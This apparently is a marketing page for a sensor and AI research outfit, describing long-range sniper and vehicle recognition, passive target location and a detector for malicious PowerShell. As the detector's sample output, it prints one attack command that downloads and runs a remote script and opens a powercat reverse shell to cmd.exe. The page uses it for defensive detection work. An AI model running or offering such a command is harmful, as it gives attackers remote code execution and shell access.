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SENSOR INTELLIGENCE

Sens. Int.

Long-Range & Low SNR

AI Based Object Detection-Recognition & Location Finding

  • DCNN+SVM object recognition for multipurpose recognition-tracking.

  • Deep Evolutionary Learning for DCNN training and optimization.

  • Passive Location finding via Image Processing for each detected target.

  • Displaying target information on map.

  • SW and algorithm developed to be expandable for the other types of sensor networking.

  • Wide search area with high detection speed due to original HW general design and effective automatic recognition (30 fps without GPU usage).

  • Continuous&intelligent FOW angle auto-control (synchronized for Lazer Illuminator and IR filtered&thermal cameras).

  • HW configuration (Lazer Illuminator, cameras (thermal&day-night), PTZ and IMU). 

Demo Videos

Tüm Videolar

Sniper Tracking System UI

www.ml4deep-sense.com
Sniper Tracking System UI
Video ara...
Sniper Tracking System UI

Sniper Tracking System UI

00:45
Videoyu Oynat
750 m. Sniper gun-mirror and vehicle recognition.

750 m. Sniper gun-mirror and vehicle recognition.

00:53
Videoyu Oynat
700 m. (Noisy and low contrast) sniper gun-mirror, vehicle and pedestrian recognition.

700 m. (Noisy and low contrast) sniper gun-mirror, vehicle and pedestrian recognition.

00:22
Videoyu Oynat
Data Science

DATA PROCESSING

Data Sequrity: Auto Recognition of Malicious Powershell Comments & Codes  

Topology:

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  • DCNN

  • DEL

  • Data Visualization

  • Classifier

Figure: DCNN Filter output_Data Visualization of 110 Different Malicious Powershell Codes (via 510 Malicious Powershell Comments).

InputInput: Attac Script File

Detector Output

Detector Output Malicious Code

powershell.exe IEX (New-Object System.Net.Webclient).DownloadString('https://----/---.ps1'); powercat -c <----> -p 80 -e cmd.exe

This Link is Under Construction will be Activated After Paper Review!

Rec. Face&Expr.

RECOGNIZING FACE & EXPRESSIONS

 3D Solution with DEL

This Link will be Released After Paper Review

Sig.&Img. Proc.

SIGNAL & IMAGE PROCESSING

Modelling & Recognition

Low SNR Object Recognition​ (Thermal/Day-night Cam, LIDAR, SAR)
Passive Target Location Finding via 2D Image & Accelometer
Passive Navigation (Airbourn) via Image Recognition & Accelometer
Imaging (Thermal/Day-night Cam, LIDAR, SAR)
3D Imaging
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Contacts
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